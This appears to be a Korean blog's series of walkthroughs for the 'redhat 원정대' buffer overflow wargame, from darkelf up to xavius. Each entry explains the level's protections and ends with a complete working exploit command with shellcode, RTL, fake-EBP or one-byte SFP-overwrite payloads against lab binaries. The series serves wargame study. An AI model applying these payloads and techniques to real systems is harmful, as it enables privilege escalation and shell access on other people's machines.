BOF redhat 원정대 nightmare -> xavius

BOF radhat 원정대 nightmare -> xavius

xavius, xavius.c


코드를 보면 대부분의 주소를 사용할 수 없게 만들어 놓았다. 우리가 지금까지 사용하던 메모리는 사용을 할 수가 없다. 하지만 0x40으로 시작하는 주소를 막아 놓지 않았다. 임의의 입력값을 넣은 후 이 부분의 메모리에서 임의의 입력값을 찾아보자.


xavius.c의 코드에 코드가 다 실행되고 메모리를 검사하는 코드를 넣었다. ret이전에 메모리에 올라간 부분을 다 스캔할 수 있다.

AAAA를 적당히 넣고 코드를 실행해보면


0x40015009에 임의의 입력값인 AAAA가 들어있음을 알 수 있다. 임의의 입력값이 전부 제대로 들어간다면 쉘코드를 넣고 RET를 조작하여 쉘을 얻게 할 수 있다.
0x40015009의 주소를 gdb로 확인해보자.


임의의 입력값이 들어가있다. xavius.c가 호출하는 어떤 함수의 버퍼라고 유추할 수 있겠다.
이제 여기에 쉘코드를 넣고 RET를 이 영역으로 덮어 씌우면 공격에 성공할 수 있다.
페이로드는
[놉+쉘코드][RET]
로 구성하여 공격을 해보면


쉘을 얻을 수 있다.
쉘코드 :
(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x09\x50\x01\x40"';cat)|./xavius
Read more

BOF redhat 원정대 succubus -> nightmare

BOF redhat 원정대 succubus -> nightmare

nightmare, nightmare.c


코드를 보면 RET부분에 strcpy의 주소가 들어가야하고 strcpy함수가 끝나고 RET할 주소인 다음 4바이트를 AAAA로 덮어버려 strcpy 다음에 RTL을 방지하고 있다.
이 문제는 strcpy의 argv를 맞춰주어 AAAA로 덮여진 strcpy함수가 끝나고 RET할 주소를 바꿀 수 있다.

메모리 주소를 확인하기 위해서 임의의 입력값을 넣어보자.
r `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAABBBBCCCCDDDD"'`


코드를 보면 argv를 버퍼로 복사하는 하드코딩된 strcpy가 있다. 이 함수를 거쳐 ret코드 이전에 브레이크를 잡아 메모리를 확인하였다. strcpy가 실행되어 버퍼에 입력값이 들어가 있는 것을 볼 수 있다.
[ 버퍼][    SFP   ][RET]
[A*44][strcpy_addr][AAAA][BBBB][CCCC][DDDD]

AAAA를 원하는 주소로 덮기 위해서 strcpy를 사용한다. 인자는 BBBB와 CCCC에 넣어 strcpy함수를 실행한다.

나는 A*44부분에 system함수로의 RTL코드를 넣고 현재 AAAA가 있는 RET부분을 버퍼의 시작주소(system RTL)로 덮을 것이다.

strcpy함수의 콜 이전의 스택의 모양은
[strcpy_addr][AAAA][dst_addr][src_addr]
게 된다.

공격페이로드를 작성하여 공격을 해보면


공격에 성공하여 쉘을 얻을 수 있다.
쉘코드 :
./nightmare `python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\x90"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xd0\xf0\xff\xbf" + "\xa0\xf0\xff\xbf"'`
Read more

BOF redhat 원정대 zombie_assassin -> succubus

BOF redhat 원정대 zombie_assassin -> succubus

succubus, succubus.c


코드를 보면 메모리도 초기화하고 RET검사도 하는 것으로 보아 위에 선언된 함수인 DO, GAE, GUL, YUT, MO함수를 RET로 이어서 마지막 MO 함수의 system함수를 사용하여 쉘을 얻으라는 것 같다.

readelf, nm, objdump등의 툴을 사용하여 각 함수들의 주소를 알아보자.


주소를 알았다.
[버퍼][DO][GYE][GUL][YUT][MO] 로 입력값을 넣게되면 check가 증가하면서 함수를 순서대로 실행하고 마지막 함수인 MO까지 실행이 되고 프로그램이 종료된다(system함수는 인자 없어서 에러)

[버퍼][DO][GYE][GUL][YUT][MO][AAAABBBBCCCC]를 입력하고 ret코드 이전에 브레이크를 잡아서 메모리를 확인해 보자.


AAAABBBBCCCC로 RET의 위치를 쉽게 알 수 있다. 스택이 초기화 되지만 100바이트의 여유공간이 있기 때문에 이곳에 쉘코드를 위치시켜 공격을 할 수 있다.
페이로드는
[버퍼][SFP][RET]
[   버퍼  ][DO][GYE][GUL][YUT][MO][쉘코드주소][쉘코드]
로 구성하였다.


쉘코드를 넣고 RET를 이동시키면 바로 쉘을 얻을 수 있다.
MO함수 안의 system함수를 사용하지 않았다. 그냥 DO에서도 쉘을 얻을 수 있을것 같아서 DO의 RET를 이용하여 공격을 다시 시도해 보았다.
[버퍼][SFP][RET]
[   버퍼  ][DO][쉘코드주소][쉘코드]


똑같이 쉘을 얻을 수 있었다.
쉘코드 :
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "\xa8\xfa\xff\xbf" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Read more

BOF redhat 원정대 assassin -> zombie_assassin

BOF redhat 원정대 assassin -> zombie_assassin

zombie_assassin, zombie_assassin.c


코드를 보면 이전 문제에서 버퍼, SFP를 초기화 하는 부분이 없어지고 strcpy에서 strncpy로 바뀌어서 SFP, RET까지만 덮을 수 있게 바뀌었다.
전 문제와 같이 RET에는 0xbf와 0x40으로 시작하는 주소로 덮을 수 없어 스택주소와 라이브버리주소를 넣을 수 없다.
주석에 FEBP라고 힌트가 있다. 이전에 풀었던 문제중에 problem_child에서 SFP를 1바이트 수정하여 문제를 푼 적이 있다. 이와 비슷하게 해결을 할 수 있다.

먼저 A를 48개 넣고 strncpy함수 실행 후 메모리를 보고 페이로드를 작성해 보자.
r `python -c 'print "A"*48'`


48바이트만큼 A가 복사된 것을 볼 수 있다. 나는 버퍼에 24바이트 크기의 쉘코드를 넣고 공격을 할 것이다.

페이로드는
[           버퍼          ][  SFP  ][RET]
[dummy][RET][쉘코드][dummy][fakeEbp][RET]
로 구성하였다.

페이로드를 입력 하게 되면 메인함수의 leave를 거치면서 fakeEbp로 ebp가 셋팅된다. 나는 fakeEbp를 A의 맨처음인 0xbffffaa0으로 잡았다. 이렇게 되면 0xbffffaa4가 RET로 된다. RET에는 바로 뒤의 쉘코드가 들어있는 주소를 넣어서 eip가 쉘코드로 이동할 수 있도록 한다.
메인함수의 leave로 스택의 ebp가 원하는 곳으로 이동한 후에는 ret이 실행되는데 이 때 ret를 leave,ret의 가젯의 주소를 넣어주어 내가 셋팅해놓은 sfp, ret가 바로 leave, ret코드를 타도록 만든다.

이 페이로드로 공격을 실행 하면


쉘을 얻을 수 있다.
쉘코드 :
./zombie_assassin "`python -c 'print "AAAA" + "\xa8\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAAAAAA" +"\xa0\xfa\xff\xbf" + "\xbf\xbf\xbf\x90"'`"
Read more

BOF redhat 원정대 gaint -> assassin

BOF redhat 원정대 gaint -> assassin

assassin, assassin.c


코드를 보면 RET에 0xbf, 0x40으로 시작하는 주소로 덮게 되면 프로그램이 종료된다.
argc는 2이상이어야하고 SFP와 버퍼를 초기화 하는 코드가 있다.
RET에 스택, 라이브러리의 주소가 오지 못하기 때문에 RTL을 사용하여 공격해야 한다.
ROP를 작성 할 때 '어셈 + ret'으로 된 가젯을 순서대로 나열하여 원하는 행동을 실행하도록 한다. ret는 pop eip/ jmp eip로 pop을 한번 하기 때문에 스택에서 esp가 4바이트 내려가고 다음 가젯의 끝에 ret가 있기 때문에 4바이트씩 가젯의 주소를 써주어 공격을 할 수 있다.
이와 비슷한 방법으로 RET를 ret코드가 있는 곳으로 덮어버리면 다음 4바이트를 ret코드를 이용해서 점프시킬수 있다.

페이로드는
[버퍼][SFP][RET]
[   버퍼  ][ret가젯주소][system][AAAA][bin/sh]
로 공격을 할 수 있다.


ret의 주소를 찾은 후 페이로드를 작성하여 공격을 하면


공격에 성공 할 수 있다.
쉘코드 :
./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`
Read more

BOF redhat 원정대 bugbear -> gaint

BOF redhat 원정대 bugbear -> gaint

gaint, gaint.c


코드를 보면 argv를 받고 라이브러리 주소와 함수의 오프셋값을 이용해서 execve함수의 주소값을 저장해 놓는다. 그리고 argv에서 44번째부터 4개가 execve함수의 주소가 맞는지 검사를 한다.
입력값에 execve함수의 주소만 맞추어 프로그램 종료 루틴으로 들어가지만 않게 되면 이전 문제에서 사용하였던 오메가 공격을 할 수 있다.
gdb로 execve 함수의 주소를 찾아보자.


execve, system함수의 주소를 찾았다. execve 함수를 사용하여 쉘을 실행하기엔 함수가 사용자 친화적이지 않기때문에 해줘야할 것이 많다. 그래서 system함수를 사용하여 쉘을 얻는 것이 쉽다.
페이로드는
[버퍼][SFP][RET]
[    놉   ][execve][system][AAAA][bin/sh]
로 구성하고 공격을 수행하면


쉘을 얻을 수 있다.
쉘코드 :
./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`"
Read more

BOF redhat 원정대 darkknight -> bugbear

BOF redhat 원정대 darkknight -> bugbear

bugbear, bugbear.c


코드를 보면 argv[1]이상이 있어야하고 RET에 덮을 시작주소가 0xbf로 시작하면 안된다.
맨위의 주석문을 보면 RTL을 사용하여 풀라는 것을 알 수 있다. RTL은 Return To Lib로 RET를 라이브러리의 함수로 튀게하여 원하는 행동을 수행하도록 하는 것이다.

우리는 쉘을 얻어야하기 때문에 system함수를 사용 할 수 있다. system 함수의 주소는 gdb에서 얻을 수 있다.


시스템 함수의 주소를 얻었다. c에서 system 함수의 사용을 보면 system("/bin/sh")로 sh를 인자로 받는다는 것을 알 수 있다.
system함수의 주소를 알았으니 /bin/sh의 문자열을 가리키는 주소를 찾아야 한다. 코드를 작성하여 /bin/sh를 가리키는 주소를 찾을 수 있다.


system함수의 주소를 넣으면 그 주소부터 1씩 증가하면서 메모리에서 들어있는 /bin/sh를 찾는다.
argv[1]에는 0x40058ae0가 들어가고 하드코딩된 "/bin/sh"문자열은 0x8000000영역에 들어있다. 0x40058ae0을 1씩 증가하면서 8바이트씩 비교하다 같게되면(/bin/sh를 찾음) /bin/sh를 가리키는 포인터를 출력한다.(라이브러리안에 /bin/sh가 있다)


이제 페이로드를 작성하여 공격하면 쉘을 얻을수 있다.
페이로드는
[버퍼][SFP][ RET  ]
[   버퍼  ][system][dummy(4)][/bin/sh]
구성을 하고 공격하면 system함수가 호출되고 system함수 안의 프롤로그가 실행되고 ebp+4같은 방법으로 /bin/sh를 가리키는 주소를 인자로 사용할 수 있다.(system함수에 인자를 전달하고 콜할 때와 같은 상황이 만들어 진다.)

공격을 하면


쉘을 얻을 수 있다.
쉘코드 :
./bugbear `python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`
Read more

BOF redhat 원정대 golem -> darkknight

BOF redhat 원정대 golem -> darkknight

darkknight, darkknight.c


코드를 보면 메인함수에서 argv[1]의 주소를 인자로 problem_child함수를 호출한다.
problem_child함수에서는 arv[1]에서 41바이트 만큼을 버퍼로 덮는다. problem_child함수에서 지역변수로 버퍼를 40바이트 잡아 주었기 때문에 41바이트를 복사하면 SFP의 1바이트를 덮을 수 있다.

SFP는 이전에 ebp를 백업해 두는 곳이다 SFP를 조작함으로 우리는 콜러인 메인함수의 스택의 위치를 조작 할 수 있다.


main과 problem_child의 어셈블리어다.
main, problem_child 모두 코드의 상단과 하단에 push ebp, mov ebp, esp, leave, ret를 찾아 볼 수 있다.
이는 함수가 스택을 독립적으로 사용하도록 느끼게 해주는 코드이다.
push ebp, mov ebp, esp는 함수의 코드 시작전에 스택을 초기화 해주는 코드이고 leave, ret은 콜러의 스택으로 복귀할 수 있도록 해주는 함수이다.

*함수의 호출과 복귀시 메모리의 상태에 대한 포스팅 : prologue, leave, ret

이번 공격에서는 SFP를 조작하여 eip의 흐름에 있는 leave와 ret에 대한 스택을 이용하여 공격을 할 것이다.

strncpy 함수의 실행 전,후의 메모리를 보고 페이로드를 작성해 보자.
(r `python -c 'print "A"*41'`)


메모리를 보면 버퍼에 A가 40개 들어가 있고 SFP의 한바이트가 A로 덮어진것을 볼 수 있다.

problem_child함수의 leave가 수행될 때 ebp는 한바이트가 A로 덮여진 SFP다. leave가 실행되면 ebp가 0xbffffa41을 가리키게되고 RET가 실행되면 eip가 0x0804849e(call problem_child의 다음 코드)를 가리킨다.
다음에 실행될 코드는 메인함수의 leave, ret이다. leave를 실행하고 나면 A로 덮여진 SFP의 주소에서 4바이트를 내려간 곳이 RET가 된다. 나는 SFP의 한 바이트를 조작하여 ebp가 0xbffffac4를 가리키게 하고 8바이트 뒤에 A가 들어있는 곳에 쉘코드를 넣고 RET를 쉘코드가 들어 있는 주소로 이동시켜 공격을 할 것이다. 이렇게 되면 메인함수의 RET가 실행되면서 eip를 쉘코드가 있는 곳으로 보낼 수 있다.

페이로드의 구성은
[                    버퍼               ][PC_SFP(4)][PC_RET(4)]......[MAIN_SFP][MAIN_RET]
[[dummy(4)][RET(4)][쉘코드(24)][dummy(8)][0xc4(1)]]

0xc4에 의해서 problem_child의 SFP가 변조되서 dummy부분에 esp, ebp가 오게된다.
이 상태에서 메인함수의 leave, ret이 실행되면 dummy다음에 RET의 주소로 eip가 튀어 쉘코드가 실행된다.
*의미없는 ebp, esp의 이동을 설명하지 않았다.

공격을 해보면


쉘을 얻을 수 있다.
쉘코드 :
 ./darkknight `python -c 'print "AAAA" + "\xcc\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"AAAAAAAA"+ "\xc4"'`
Read more

BOF redhat 원정대 skeleton -> golem

BOF redhat 원정대 skeleton -> golem

golem, golem.c


코드를 보면 빠진 제약조건들이 많지만 stack destroyer가 추가 되었다.
stack destroyer코드를 보면 버퍼를 초기화하고 RET(buffer+44 ~ buffer+48)을 제외하고 그 아래의 모든 스택을 초기화 해버린다(argv등등 전부 다 초기화 되버린다.)
이렇게 모든 스택을 초기화 해버리면 입력값에 쉘코드를 넣어서 공격하기는 힘들다.

환경변수를 사용한다. 리눅스에는 LD_PRELOAD라는 환경변수가 존재한다.
이 환경변수를 지정해 놓으면 프로세스가 로딩하고 각종 라이브러리들을 로딩 할 때 LD_PRELOAD에 선언된 라이브러리를 가장 먼저 로딩하게 된다. LD_PRELOAD가 먼저 로딩되기 때문에 이를 이용해서 이미 존재하는 라이브러리와 이름을 같게하여 정상의 라이브러리가 로딩되지 않게하고 정상적인 라이브러리 안의 정상적인 함수와 같은 이름의 함수를 작성하여 함수를 후킹 할 수도 있다. 개인적으로 사용의 편의성보다 보안의 문제가 크다고 생각하는데 왜 존재하는지 모르겠다.

내가 필요한건 메모리에 쉘코드를 올리는 것이다. LD_PRELOAD에 넣을 라이브러리안에 쉘을 실행하는 함수를 넣고 그 위치를 찾는 것보다 라이브러리의 이름에 많은 놉과 쉘코드를 넣는 것이 찾기가 쉬울 것이다.

echo main(){} > my_lib.c

로 간단한 라이브러리 c코드를 생성하고

gcc -fPIC -shared my_lib.c -o `python -c 'print "\x90"*100 + "쉘코드"'`

로 쉘코드를 포함하는 라이브러리를 만들어 준다. ("\x2f"때문에 에러가 나는 것을 막기 위해서는 mkdir -p 로 만들 라이브러리와 같은 이름의 폴더를 만들어야한다.)

쉘코드를 이름으로 하는 라이브러리를 만들었으니 LD_PRELOAD에 선언해주어야 한다.

export LD_PRELOAD="/home/skeleton/`python -c 'print "\x90"*100 + "쉘코드"'`"

로 LD_PROLOAD에 라이브러리를 추가시켜 준다.


LD_PRELOAD에 쉘코드가 들어가 있는 것을 볼 수 있다.


공유 라이브러리의존성을 확인해 보았다.

./kolem `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`로 공격을 하고 core파일에서 공유라이브러리가 로드되는 메모리를 찾아보면 쉘코드를 찾을 수 있다.
golem을 kolem으로 복사하여 내 파일로 만들어 core파일을 생성 할 수 있도록 한다.
만약 코어덤프가 생성되지 않는다면 ulimit -c unlimited 로 코어 파일의 제한을 없앨수 있다.


esp-2000부터 메모리를 찾다보면 아까 공유라이브러리 이름으로 정해 주었던 "놉+쉘코드"를 찾을 수 있다.
이제 RET를 놉의 위치로 덮어 씌우고 공격을 성공 시킬 수 있다.
페이로드는
[lib]..........[버퍼][SFP][RET]
[lib]..........[   버퍼  ][RET]
로 구성 할 수 있다. (버퍼, RET 뒤의 모든부분은 stack destroyer로인해 초기화)

공격을 해보면


쉘코드가 실행되고 쉘을 얻을 수 있다.
쉘코드 :
./golem `python -c 'print "A"*44 + "\x30\xf6\xff\xbf"'`
Read more

BOF redhat 원정대 vampire -> skeleton

BOF redhat 원정대 vampire -> skeleton

skeleton, skeleton.c


이전 문제에서 없어졌던 argv[1]길이제한, buffer hunter, egghunter가 다시 생겨나고 argc saver를 이용하는 ultra argv hunter가 생겨났다.
ultra argv hunter는 모든 argv를 길이 값까지 확인하여 모두 초기화 시켜버리므로 argv를 이용하기는 어려워보인다.

argv까지 모두 사용하지 못하면 쉘코드를 담을 공간이 없는 것 같다.
실행파일이 메모리에 로딩 될 때는 실행에 필요한 정보들도 메모리에 로딩되는데 그 중에 프로그램의 절대경로가 포함 될 수도 있으니 메모리를 찾아보자.


프로그램을 로딩시키자마자 브레이크로 잡은 후에 메모리를 쭉 뒤져 보니 아래쪽에 프로그램의 절대 경로가 저장되어 있는 걸 확인 할 수 있었다.

프로그램의 절대경로가 메모리에 담기는 것을 확인 하였으니 orge -> troll에서 사용 하였던 경로에 쉘코드를 포함시키는 공격을 수행 할 수 있다.

경로에 쉘코드가 들어 갈 수 있도록 mkdir -p로 쉘코드를 포함하는 디렉터리를 만들고 최상위 디렉터리에 skeleton파일의 심볼릭링크를 만든다. 그리고 skeleton에 심볼릭 링크가 걸린 파일을 절대 경로로 실행하면 argv[0]과 메모리의 아래부분에 쉘코드가 올라간다. argv[0]은 초기화 되기 때문에 메모리의 아래부분에 올라가있는 쉘코드를 이용하여 공격을 한다.

페이로드는
[버퍼][SFP][RET].......[argv].................[절대경로]
[   버퍼  ][RET].......[argv].................[쉘코드]
이렇게 구성하고 RET를 쉘코드로 뛰도록 하면 쉘코드를 실행 할 수 있다.

RET주소를 찾아보자.


0xbfffff68에 절대경로가 들어가기 때문에 쉘코드도 메모리에 올라가 있는 것을 볼 수 있다.
저 주소에는 /home/vampire/도 포함되어 있기때문에 좀 뒤의 메모리 주소를 넣어 RET가 놉으로 뛸수 있도록 페이로드를 작성하여 공격을 하면


상승된 권한으로 쉘코드를 얻어 패스워드를 얻을 수 있다.
쉘코드 :
/home/vampire/$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')/zkeleton `python -c 'print "A"*44 + "\x78\xff\xff\xbf"'`
Read more

BOF redhat 원정대 troll -> vampire

BOF redhat 원정대 troll -> vampire

vampire, vampire.c


 c 코드를 보니 이전 문제에서 추가된 부분도 있고 없어진 부분도 찾을 수 있었다. 먼저 추가된 부분을 찾아보자.
argv[1][46]부분에 \xff가 오면 에러 출력 후 프로그램이 종료 된다. 지금가지 우리가 사용해왔던 스택의 주소영역은 모두 0xbfff로 시작하는 영역의 주소였다. 이제 이 부분을 사용 할 수 없다.

없어진 코드를 찾아보니 에그쉘헌터, 버퍼초기화, argv초기화 모두 없어졌다. 하지만 이 세가지 모두 0xbfff 영역의 메모리에 있으므로 사용 할 수 없다.
argv의 길이를 검사하는 루틴도 없어졌다. argv의 길이를 검사 하지 않는다면 엄청나게 큰 입력값을 주어 esp가 0xbxff영역을 넘어 가버리게 하면된다.

gdb를 이용해서 큰 입력값을 넣어 보자.

r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "A"*100000'`

gdb에서 이렇게 입력을 하고 x/100x $esp 명령어로 esp가 가리키는 위치의 메모리를 보니 0xbfff영역을 벗어났다. 이 부분에 쉘을 넣고 RET를 덮어 씌워주면 된다.


페이로드는

[버퍼][SFP][RET]
[   버퍼  ][RET][nopnopnopnopnopnop + 쉘코드]

이렇게 구성하고 RET를 nop의 주소를 주면 쉘코드를 실행 시킬 수 있다.


성공적으로 쉘코드가 실행되 쉘을 얻었다.

쉘코드 :
./vampire `python -c 'print "\x90"*44 + "\x60\x6a\xfe\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Read more

BOF redhat 원정대 orge -> troll

BOF redhat 원정대 orge -> troll

troll, troll.c


C 코드를 살펴보니 이전의 문제에서 argv[1]를 초기화 시키는 부분이 추가 되었다.
이전과 같이 RET는 쉽게 덮어 쓸수 있지만 쉘코드를 넣을 곳이 없다.
-에그쉘 불가, 버퍼초기화, argv[1]까지만 받을수 있고 이것도 초기화

남은 곳은 argv[0]이 있다. 이전문제에서 AAAA이름을 갖은 파일을 심볼릭링크로 만들어서 argv[0]의 길이를 맞추었다.
이번 문제에서는 심볼릭링크를 이용해서 argv[0]에 쉘코드를 넣을 수 있다.

내가 지금까지 사용한 24바이트짜리 쉘코드안에는 \x2f가 포함되어 있다. \x2f는 /로 심볼릭 링크를 걸 때 \x2f를 /로 읽어들여 에러를 발생 시킨다.
mkdir에 -p 옵션을 이용하여 디렉터리안에 디렉터리를 만들 수 있다. 이 옵션을 이용하여 쉘코드를 포함한 디렉터리 트리(?)를 만들수 있다.

mkdir -p `python -c 'print "\x41\x2f\x42\x2f\x43\x2f"'`

이런식으로 디렉터리를 만들게되면 A디렉터리 안(/)에 B디렉터리 안(/)에 C디렉터리가 만들어지는 식이다.
쉘코드를 포함한 디렉터리트리의 맨 마지막 디렉터리에 /home/orge/troll을 한번 더 심볼릭링크를 만들어 준다.

[orge@localhost  쉘코드의뒷부분일부]$ ll
llort -> troll

쉘코드를 포함하고 있는 디렉터리가 몇개가 되던 제일 마지막 디렉터리에서 절대경로를 이용해서 llort을 실행하면 argv[0]의 메모리에는 쉘코드가 올라간다.

페이로드의 구성은

[버퍼][SFP][RET].............[argv[0]]
[  버퍼   ][RET]...............[쉘코드]

/home/orge/shell/co/de/llort `python -c 'print "A"*44 + "RET"'`
이런식으로 쉘코드를 argv[0]에 위치에 올린다.

argv[0]의 주소를 출력하는 코드를 만들어서 위치를 찾아보자.


메인함수 실행되고 바로 출력하도록 추가 하였다. argc[0]을 맞추기가 번거로워서 그냥 저 주소에서 부터 수작업 부르트포싱으로 공격을 시도해 보았다.



금방 쉘을 얻을 수 있었다.

쉘코드 :
 /home/orge/$(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')/llort `python -c 'print "A"*44 + "\x2e\xfb\xff\xbf"'`
Read more

BOF redhat 원정대 darkelf -> orge

BOF redhat 원정대 darkelf -> orge

orge, orge.c


이전 문제와 달라진 것을 보면 argv[0]의 길이가 77이 아니면 에러 출력하고 프로그램이 종료된다.
argc를 2이상으로 주어야하고  에그쉘을 사용하지 않고 RET는 bf로 시작하는 주소로 덮어야하고 argv[1]의 길이는 48이하로 주어야하고 버퍼가 40바이트 초기화 되므로 메인의 지역변수 버퍼에는 쉘코드를 넣지 말아야한다.

argv[0]은 명령어로 ./orgc argv1 하게되면 strlen(argv[0])은 6이 된다. 나는 argv[0]의 길이를 늘리기 위해서 심볼릭 링크를 사용하였다.


이렇게 심볼릭 링크를 걸어두면 새롭게 추가된 조건을 만족하여 전과 같은 방법으로 공격 할 수 있다.
페이로드는 바로 이전 문제와 똑같이 사용할 것이다.
[버퍼][SFP][RET]..........[argv[1]]
[  쉘코드 ][RET]..........[쉘코드]

RET를 덮어 씌울 쉘코드가 올라갈 메모리를 찾아보자.
argv[0]을 AAAA...AAA로 잡았으니 헷갈리지 않게 argv[1]를 BBB......BB로 잡는다.


argv[0]에 A가 많이 들어가있고 argv[1]에 B가 많이 들어가있는것을 볼 수 있다.

위의 주소로 RET를 덮게하고 위의 조건들을 만족시키게 쉘코드 작성하고 공격을 시도해본다.


쉘을 얻을 수 있었다.
쉘코드 :
./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xca\xfb\xff\xbf"'`




Read more

BOF redhat 원정대 wolfman -> darkelf

BOF redhat 원정대 wolfman -> darkelf

darkelf, darkelf.c


c 코드를 보면 이전 문제에서 argv[1]의 길이를 제한하는 코드가 들어가 있는 것을 알 수 있다.
이전문제에서 buffer를 초기화해주어서 RET 이후에 쉘코드를 넣고 버퍼의 주소로 RET를 덮어서 공격하였는데 이번에는 argv의 길이가 제한되어 있어서 뒤에 쉘코드를 추가 할 수 없다.
RET는 조작할 수 있지만 쉘코드를 올릴 공간을 찾아야한다. argv의 메모리에 쉘코드를 넣으면 된다.
code 내에서 argv를 배열로서 사용할 수 있으므로 분명히 메모리 어딘가에 올라가 있음을 알 수 있다.
argv의 주소를 찾아보자


메인에서 브레이크를 잡고 A 48개, B 24 개를 넣어보았다.
argv[0](darkelf, 6461726b656c66), argv[1], argv[2]가 모두 들어가 있는것을 볼 수 있다.
memset으로 초기화하는 부분은 메인함수의 지역변수인 버퍼 메모리임으로 여기는 초기화되지 않는다.

argv를 출력하는 코드를 작성하여 주소를 확인해보았다.


페이로드를

[버퍼][SFP][RET]..................[argv]
[  쉘코드 ][RET]..................[쉘코드]

구성한다. RET을 argv자리의 쉘코드 주소를 넣는다.
페이로드를 작성하고 공격하면


성공적으로 쉘을 얻을 수 있다.

쉘코드 :
./darkelf `python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x51\xfc\xff\xbf"'`
Read more